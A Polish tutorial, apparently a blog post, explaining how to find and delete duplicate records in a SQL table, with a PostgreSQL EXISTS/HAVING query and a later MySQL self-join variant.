Czasami zdarza się że, poprzez nie do końca poprawną walidację danych wejściowych lub z powodu błędnego działania aplikacji stworzą nam się w bazie danych zduplikowane rekordy.
Takie niepożądane zduplikowane dane w 90% będą nam przeszkadzać i w najlepszym razie mogą powodować niepotrzebny zamęt w aplikacji. Skutki mogą takżę spowodować dużo poważniejsze problemy jak chociażby rozsynchronizowanie się danych w powiązanych tabelach w bazie.
Co należy robić w przypadku wykrycia zduplikowanych rekordów?
W pierwszej kolejności trzeba dojść do tego w jaki sposób powstały a następnie trzeba usprawnić aplikację w taki sposób aby powstawanie duplikatów było już niemożliwe.
Następnie trzeba wziąć się za zapisane dane i należy usunąć z nich nadmiarowe rekordy.
Usuwanie zduplikowanych rekordów
Usuwać duplikaty można na conajmniej kilka sposobów. Najczęstszą radą spotykaną w internecie to przeniesienie unikalnych rekordów do nowej tymczasowej tabeli, skasowanie wszystkich danych ze starej tabeli, a następnie zgranie z powrotem rekordy unikalne.
Niestety nie jest to metoda ani szybka, ani skuteczna ani bezpieczna.
Na prościutkim przykładzie rzedstawię poniżej najlepszy sposób na pozbycie się duplikatów
Tworzymy przykładową tabelę:
CREATE TABLE people(
id SERIAL PRIMARY KEY,
name VARCHAR(100) NOT NULL,
surname VARCHAR(100) NOT NULL,
phone VARCHAR(100) NOT NULL,
email VARCHAR(100) NOT NULL
);
Tabela zawiera autoinkrementowane pole id, które jest kluczem jej głównym i kilka pól przetrzymujących dane.
Wstawiamy zduplikowane rekordy:
INSERT INTO people(name,surname,phone,email) VALUES('Marcin','Maczka','660111111','marcin@nospam.pl');
INSERT INTO people(name,surname,phone,email) VALUES('Marcin','Maczka','660111111','marcin@nospam.pl');
INSERT INTO people(name,surname,phone,email) VALUES('Agnieszka','Czopek','550123123','aga@nospam.pl');
INSERT INTO people(name,surname,phone,email) VALUES('Jas','Kowalski','555123147','jas@nospam.pl');
INSERT INTO people(name,surname,phone,email) VALUES('Jas','Kowalski','555123147','jas@nospam.pl');
Wyświetlamy zawartość tabeli:
SELECT * FROM people;
id | name | surname | phone | email
----+-----------+----------+-----------+------------------
1 | Marcin | Maczka | 660111111 | marcin@nospam.pl
2 | Marcin | Maczka | 660111111 | marcin@nospam.pl
3 | Agnieszka | Czopek | 550123123 | aga@nospam.pl
4 | Jas | Kowalski | 555123147 | jas@nospam.pl
5 | Jas | Kowalski | 555123147 | jas@nospam.pl
(5 rows)
Jak widzimy mamy zduplikowane 2 rekordy, pierwszym krokiem do usunięcia rekordów będzie napisanie zapytania, które je wyświetli a następnie
zmienimy SELECT NA DELETE.
SELECT
id, name, surname, phone, email
FROM
people
WHERE
EXISTS (
SELECT
NULL
FROM
people AS P
WHERE
people.name = P.name
AND people.surname = P.surname
AND people.phone = P.phone
AND people.email = P.email
GROUP BY
P.name, P.surname, P.phone, P.email
HAVING
people.id < MAX(P.id)
);
Wynikiem zapytania będzie:
id | name | surname | phone | email
----+--------+----------+-----------+------------------
1 | Marcin | Maczka | 660111111 | marcin@nospam.pl
4 | Jas | Kowalski | 555123147 | jas@nospam.pl
(2 rows)
Wyjaśnienie zapytania:
- SELECT _FIELDS_ FROM people – deklarujemy pola, które checmy wyświetlić
- WHERE EXISTS( _CONDITION_ ) – które spełniają warunek _CONDITION_
- SELECT NULL FROM people AS P – w podzapytaniu nic nie wyświetlamy, wykorzystujemy je jedynie do złączenia
- WHERE _CONDITION_ – joinujemy po wszystkich polach, które mają tworzyć unikalny klucz
- GROUP BY _FIELDS_ – grupujemy wg. unikalnych pól
- HAVING people.id < MAX(P.id) – warunek na id
Modyfikujemy teraz powyższe zapytanie SELECT _FIELDS_ na DELETE
DELETE
FROM
people
WHERE
EXISTS (
SELECT
NULL
FROM
people AS P
WHERE
people.name = P.name
AND people.surname = P.surname
AND people.phone = P.phone
AND people.email = P.email
GROUP BY
P.name, P.surname, P.phone, P.email
HAVING
people.id < MAX(P.id)
);
I otrzymujemy tabele wyczyszczoną z nadmiarowych rekordów.
Jakie to proste.
**********************edit**********************
Jak słusznie zauważył kolega Wild Child powyższe zapytanie nie działa w mySQL.
Przyznaje się bez bicia, że testowałem jedynie w PostgreSQL gdyż powyższy kod SQL
wyglądał na uniwersalny.
Okazało się jednak, że mySQL nie pozwala na jednoczesne wyświetlanie i modyfikowanie
zawartości tabeli. (jednoczesny DELETE w zapytaniu głównym i SELECT w podzapytaniu)
Posiedziałem trochę i wymyśliłem alternatywne zapytanie:
SELECT
D.*
FROM
people as U
INNER JOIN
people AS D ON (
D.name = U.name AND
D.surname = U.surname AND
D.phone = U.phone AND
D.email = U.email
)
AND
D.id > U.id;
Konstrukcja tego zapytania jest nieco inna:
- Robimy JOINA wewnątrz tabeli po polach, które mają być unikalne
- Zostawiamy rekord o najniższym id, a resztę kasujemy (warunek AND D.id > U.id)
- Skróty: D – duplicate, U – unique
- Oczywiście aby usunąć rekordy należy zamienić słowo SELECT na DELETE